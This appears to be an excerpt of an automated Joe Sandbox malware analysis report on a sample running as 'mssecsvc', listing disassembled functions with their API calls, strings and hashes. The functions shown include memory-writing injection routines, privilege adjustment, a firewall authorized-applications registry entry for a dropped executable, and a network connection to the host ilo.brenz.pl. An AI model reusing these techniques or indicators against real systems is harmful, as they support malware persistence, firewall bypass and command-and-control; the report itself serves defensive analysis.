                      • String ID: \BaseNamedObjects\rpntVt
                      • API String ID: 2597515329-3616129831
                      • Opcode ID: bbf5a189d1197ce68da47610c9e223f0e082a4e0a9ed9811b376788125c9f97c
                      • Instruction ID: 886160a96867300503eb3d0e2764e679705ec241ef5fff57f04709df685fc950
                      • Opcode Fuzzy Hash: bbf5a189d1197ce68da47610c9e223f0e082a4e0a9ed9811b376788125c9f97c
                      • Instruction Fuzzy Hash: ED0181B0781344BAF7309B29CC4BF5B7929DF81B50F508558F608AE1C4DAB89A0483A9
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C124AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                      Download Yara Rule
                      APIs
                      • lstrcpyW.KERNEL32(?,\BaseNamedObjects\rpntVt), ref: 00C124BA
                      • lstrlenW.KERNEL32(?), ref: 00C124C1
                      • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 00C12516
                      Strings
                      • \BaseNamedObjects\rpntVt, xrefs: 00C124B8
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateSectionlstrcpylstrlen
                      • String ID: \BaseNamedObjects\rpntVt
                      • API String ID: 2597515329-3616129831
                      • Opcode ID: bbf5a189d1197ce68da47610c9e223f0e082a4e0a9ed9811b376788125c9f97c
                      • Instruction ID: 9dad35e9908d2c2be6d6a5ad94474ee1bfecc76ee91900c8c7043d92cbe2e524
                      • Opcode Fuzzy Hash: bbf5a189d1197ce68da47610c9e223f0e082a4e0a9ed9811b376788125c9f97c
                      • Instruction Fuzzy Hash: 920181B0785344BBF7309B29CC4BF5B7929DF81B50F508558F609AE1C4DAB89A0483A9
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                      Download Yara Rule
                      APIs
                      • NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                      Strings
                      • \BaseNamedObjects\rpntVt, xrefs: 7FEA254B
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: OpenSection
                      • String ID: \BaseNamedObjects\rpntVt
                      • API String ID: 1950954290-3616129831
                      • Opcode ID: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                      • Instruction ID: cc492c20b74137972e1aeb42a549193fdcd5baff80c1f90c3202c4eb3a6ea2fd
                      • Opcode Fuzzy Hash: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                      • Instruction Fuzzy Hash: A1E0DFF1342105BAFB288B19CC07FB7220DCBC0600F048604F918DA090E6F4AF104278
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA2574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 7FEA252F: NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                      • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B7C4,00000000,?,00000002,00100000,00000040), ref: 7FEA25A4
                      • CloseHandle.KERNEL32(00000000,0000B7C4,00000000,?,00000002,00100000,00000040,00000000,0000B7C4,00000000,?,7FEA0815), ref: 7FEA25AC
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Section$CloseHandleOpenView
                      • String ID:
                      • API String ID: 2731707328-0
                      • Opcode ID: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                      • Instruction ID: 3cc34a18b6b0f74ef45f64819b33cb598c6401d77195fbf03454f98489c8026e
                      • Opcode Fuzzy Hash: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                      • Instruction Fuzzy Hash: 9A21F970301646BBDB18DE65CC55FBA7369FF80648F401118E85ABE1D4DBB2BA24C758
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA1422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                      Download Yara Rule
                      APIs
                      • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                      • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                      • String ID:
                      • API String ID: 3615134276-0
                      • Opcode ID: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                      • Instruction ID: ddbff97e699881e74d61e2820170bd54818263a6fff0c1519b9bac5ac29647fb
                      • Opcode Fuzzy Hash: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                      • Instruction Fuzzy Hash: 5BF0AE36542510BBD7205F56CD8EED77F28EF533A0F144556F4484E151C2624BA5D3F4
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA2477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                      Download Yara Rule
                      APIs
                      • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 7FEA249B
                      • NtWriteVirtualMemory.NTDLL ref: 7FEA24A4
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: MemoryVirtual$ProtectWrite
                      • String ID:
                      • API String ID: 151266762-0
                      • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                      • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                      • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                      • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                      Download Yara Rule
                      APIs
                      • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                      • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                      • String ID:
                      • API String ID: 3615134276-0
                      • Opcode ID: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                      • Instruction ID: ee32c209e3d0a2de55b6acbdbca8a3d00d8b73f2470e3acbbab87dcaf3c2c19a
                      • Opcode Fuzzy Hash: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                      • Instruction Fuzzy Hash: F2D06731643034BBD6312A568C0EEE77D1DEF577A0F015041F9089A1A1C5A28EA1C7F5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA28C8 Relevance: .1, Instructions: 107COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                      • Instruction ID: 599e4210a27b95691828082bf071d632d483ec5813d8a2b375e76b2b2bcd3a21
                      • Opcode Fuzzy Hash: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                      • Instruction Fuzzy Hash: 6A31F5326006158BEB148E38C94079AB7F2FB84704F10C63CE557FB594D676F6898BC0
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C128C8 Relevance: .1, Instructions: 107COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                      • Instruction ID: 002c0d47771bb54c5cdfe11ec37b67a826648c580f9baaec3af722d2842c1744
                      • Opcode Fuzzy Hash: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                      • Instruction Fuzzy Hash: 833107326006158FEB148E3CC8447DAB3E2FB94304F10863DE556E7584D675EAE98BC0
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA025E Relevance: .0, Instructions: 44COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 09c48aea5da9f2f203988db434da6491a7c0eb92e90414cb1b57aecb4bc22c32
                      • Instruction ID: fca6c0b8b49828e06e930826b07e7e554702906ab2fb777cecb96ae3ecad71c1
                      • Opcode Fuzzy Hash: 09c48aea5da9f2f203988db434da6491a7c0eb92e90414cb1b57aecb4bc22c32
                      • Instruction Fuzzy Hash: 670128726053419BD7219F38CC88FEDBBA1FBC4334F108315E6540E08DD633A245C691
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C1025E Relevance: .0, Instructions: 44COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 09c48aea5da9f2f203988db434da6491a7c0eb92e90414cb1b57aecb4bc22c32
                      • Instruction ID: 9ad994f6e3c74443f888f99cdaf95503bba159f29ce095de04cba5ef64b6e705
                      • Opcode Fuzzy Hash: 09c48aea5da9f2f203988db434da6491a7c0eb92e90414cb1b57aecb4bc22c32
                      • Instruction Fuzzy Hash: 64012872604145ABD720AF38CC88FEDB7A1BB86334F308314F5540A189D6B5E6C5F691
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3F8F Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 224networkthreadlibraryCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(7FEA3F83), ref: 7FEA3F8F
                      • WSAStartup.WS2_32(00000101), ref: 7FEA3FCE
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                      • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 7FEA4057
                      • gethostbyname.WS2_32(ilo.brenz.pl), ref: 7FEA4066
                      • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                      • connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                      • wsprintfA.USER32 ref: 7FEA4179
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 7FEA41B4
                      • CloseHandle.KERNEL32(?,00000000,6F6C6902,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                      • GetTickCount.KERNEL32 ref: 7FEA41F6
                      • RtlExitUserThread.NTDLL(00000000), ref: 7FEA4322
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateThread$CloseHandle$CountEventExitLibraryLoadStartupTickUserVersionconnectgethostbynamelstrlensocketwsprintf
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$\DEVICE\AFD\ENDPOINT$ilo.brenz.pl
                      • API String ID: 3316401344-669928321
                      • Opcode ID: ee4b1f535ca79d9535994823dd2765b1aa6c936bb005bd660b800cb5032af16f
                      • Instruction ID: 1da76589fb4dd87b5df105d6ae65f4369b8eb418b0376c81cadce6663e0d34e8
                      • Opcode Fuzzy Hash: ee4b1f535ca79d9535994823dd2765b1aa6c936bb005bd660b800cb5032af16f
                      • Instruction Fuzzy Hash: 1391EC71508348BEEB229F348859BEE7FAEEF41304F000648E85A9E191C3F66F45DB65
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13F8F Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 224networkthreadlibraryCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(00C13F83), ref: 00C13F8F
                      • WSAStartup.WS2_32(00000101), ref: 00C13FCE
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C13FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 00C13FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C13FFF
                      • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00C14057
                      • gethostbyname.WS2_32(ilo.brenz.pl), ref: 00C14066
                      • socket.WS2_32(00000002,00000001,00000000), ref: 00C14097
                      • connect.WS2_32(6F6C6902,00C13B09,00000010), ref: 00C140B1
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 00C140FB
                      • wsprintfA.USER32 ref: 00C14179
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00C141B4
                      • CloseHandle.KERNEL32(?,00000000,6F6C6902,00C16AA2,00000000,00000000), ref: 00C141BD
                      • GetTickCount.KERNEL32 ref: 00C141F6
                      • RtlExitUserThread.NTDLL(00000000), ref: 00C14322
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateThread$CloseHandle$CountEventExitLibraryLoadStartupTickUserVersionconnectgethostbynamelstrlensocketwsprintf
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\WINDOWS\TASKSCHE.EXE$ilo.brenz.pl
                      • API String ID: 3316401344-4156913811
                      • Opcode ID: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                      • Instruction ID: 70c55159e62d9e1f8106e97fde90ac05ef423ef9e097d7d95cee69949245671a
                      • Opcode Fuzzy Hash: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                      • Instruction Fuzzy Hash: 9B91DD71508249BAEB399F24C81DBEE7FADEF46300F040548E96A9E181C3F45F85E765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3EB5 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 276networklibrarythreadCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(7FEA3EA9), ref: 7FEA3EB5
                        • Part of subcall function 7FEA3ECC: GetProcAddress.KERNEL32(00000000,7FEA3EC0), ref: 7FEA3ECD
                        • Part of subcall function 7FEA3ECC: GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,000000C8), ref: 7FEA3EE2
                        • Part of subcall function 7FEA3ECC: wsprintfA.USER32 ref: 7FEA3EF7
                        • Part of subcall function 7FEA3ECC: CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                        • Part of subcall function 7FEA3ECC: CloseHandle.KERNEL32(?,D8FBBC76), ref: 7FEA3F49
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                      • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                      • connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                      • wsprintfA.USER32 ref: 7FEA4179
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                      • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA41DA
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$CloseHandleThreadwsprintf$AddressEventFileLibraryLoadModuleNameProcVersionconnectsocket
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                      • API String ID: 4150863296-575743613
                      • Opcode ID: 9f06b138147dde36dface2e64d8b648724a67120387ec8aabe41be75442747ba
                      • Instruction ID: a15a6457230e598bb6ef6cbbffa0e8635eaa4eb844119d8f0639b47af27d7a61
                      • Opcode Fuzzy Hash: 9f06b138147dde36dface2e64d8b648724a67120387ec8aabe41be75442747ba
                      • Instruction Fuzzy Hash: A3A1FF71419348BFEB219F348C49BFA7BACEF41304F004659E84A9E092D6F66F05C7A2
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13EB5 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 276networklibrarythreadCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(00C13EA9), ref: 00C13EB5
                        • Part of subcall function 00C13ECC: GetProcAddress.KERNEL32(00000000,00C13EC0), ref: 00C13ECD
                        • Part of subcall function 00C13ECC: GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,000000C8), ref: 00C13EE2
                        • Part of subcall function 00C13ECC: wsprintfA.USER32 ref: 00C13EF7
                        • Part of subcall function 00C13ECC: CreateThread.KERNEL32(00000000,00000000,00C13691,00000000,00000000), ref: 00C13F40
                        • Part of subcall function 00C13ECC: CloseHandle.KERNEL32(?,D8FBBC76), ref: 00C13F49
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C13FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 00C13FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C13FFF
                      • socket.WS2_32(00000002,00000001,00000000), ref: 00C14097
                      • connect.WS2_32(6F6C6902,00C13B09,00000010), ref: 00C140B1
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 00C140FB
                      • wsprintfA.USER32 ref: 00C14179
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C13F0C
                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13EF6, 00C13F08
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C13EDF, 00C13EF4, 00C13F0B, 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$CloseHandleThreadwsprintf$AddressEventFileLibraryLoadModuleNameProcVersionconnectsocket
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 4150863296-3594626639
                      • Opcode ID: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                      • Instruction ID: 50583e75698c3743c721fe1eba67400ede67dd7bedb89096733a9652c565db0e
                      • Opcode Fuzzy Hash: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                      • Instruction Fuzzy Hash: 1BA10371508248BFEB259F64CC4EBEA7BACEF42304F044548E8598E082D2F45F86E7A5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3ECC Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 265threadlibraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetProcAddress.KERNEL32(00000000,7FEA3EC0), ref: 7FEA3ECD
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,000000C8), ref: 7FEA3EE2
                      • wsprintfA.USER32 ref: 7FEA3EF7
                      • CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                      • CloseHandle.KERNEL32(?,D8FBBC76), ref: 7FEA3F49
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                        • Part of subcall function 7FEA3405: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                        • Part of subcall function 7FEA3405: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                        • Part of subcall function 7FEA3405: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                        • Part of subcall function 7FEA3405: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                        • Part of subcall function 7FEA3405: UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                      • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA41DA
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmapwsprintf
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                      • API String ID: 541178049-575743613
                      • Opcode ID: 3176691832235144c822bda6bdece0b9c65d83022bcced3ec1f9b4779e38ef98
                      • Instruction ID: d9e398f0cb57442fd0ba00def27d3fe33590f3ea382637dc010686527708efc5
                      • Opcode Fuzzy Hash: 3176691832235144c822bda6bdece0b9c65d83022bcced3ec1f9b4779e38ef98
                      • Instruction Fuzzy Hash: 65A10071408348BFEB219F348C49BEA7BACEF81304F004659E84A9E091D7F66F05C7A1
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13ECC Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 265threadlibraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetProcAddress.KERNEL32(00000000,00C13EC0), ref: 00C13ECD
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,000000C8), ref: 00C13EE2
                      • wsprintfA.USER32 ref: 00C13EF7
                      • CreateThread.KERNEL32(00000000,00000000,00C13691,00000000,00000000), ref: 00C13F40
                      • CloseHandle.KERNEL32(?,D8FBBC76), ref: 00C13F49
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C13FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 00C13FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C13FFF
                        • Part of subcall function 00C13405: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00C1344A
                        • Part of subcall function 00C13405: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00C13469
                        • Part of subcall function 00C13405: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00C13493
                        • Part of subcall function 00C13405: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00C134A0
                        • Part of subcall function 00C13405: UnmapViewOfFile.KERNEL32(?), ref: 00C134B8
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C13F0C
